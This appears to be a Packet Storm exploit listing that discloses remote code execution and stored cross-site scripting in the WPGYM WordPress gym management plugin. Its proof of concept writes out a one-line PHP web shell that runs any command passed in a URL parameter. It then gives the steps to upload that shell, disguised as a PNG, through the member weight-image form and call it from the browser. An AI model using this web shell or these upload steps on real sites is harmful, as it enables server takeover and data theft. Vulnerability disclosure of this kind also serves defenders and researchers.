Exploit the possiblities

WordPress Gym Management System 07-05-2017 Code Execution / Cross Site Scripting

WordPress Gym Management System 07-05-2017 Code Execution / Cross Site Scripting
Posted Sep 6, 2017
Authored by 8bitsec

WordPress Gym Management System versions 07-05-2017 and below suffer from code execution and cross site scripting vulnerabilities.

tags | exploit, vulnerability, code execution, xss
MD5 | ee0add2453bdeb49c0645ae5427b8c19

WordPress Gym Management System 07-05-2017 Code Execution / Cross Site Scripting

Change Mirror Download
# Exploit Title: WPGYM - Wordpress Gym Management System <= 07-05-2017 - Remote Code Execution / Stored XSS
# Date: 2017-07-25
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.mobilewebs.net/
# Software Link: https://codecanyon.net/item/-wpgym-wordpress-gym-management-system/13352964
# Version: ?
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-25

Product & Service Introduction:
===============================
WPGYM a Wordpress Gym Management System ideal Wordpress plugin for your Wordpress powered gym management system.
The plugin is not version numbered, it was tested on version 07-05-2017.

Technical Details & Description:
================================

Authenticated Stored XSS vulnerability found on Account section.

Remote Code Execution via Arbitrary File Upload.

All vulnerabilities tested as a low priv user (member).

Proof of Concept (PoC):
=======================

Remote Code Execution

shell.png.php:
<?php echo shell_exec($_GET['cmd']);?>

Member > View > Add weight > Upload image > shell.png.php > Save Measurement
An alert will warn you about incorrect file type but it will still upload it.

Go to Workouts > View Measurement > Right Click on Image > View Image or Copy Image URL
Paste on your browser and add ?cmd=[command]

Example:
https://localhost/wordpress/gym/wp-content/uploads/gym_assets/1501018920-pimg-in.php?cmd=id

Authenticated Stored XSS:

Account > Home Town Address textfield is vulnerable.

==================
8bitsec - [https://twitter.com/_8bitsec]

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    1 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close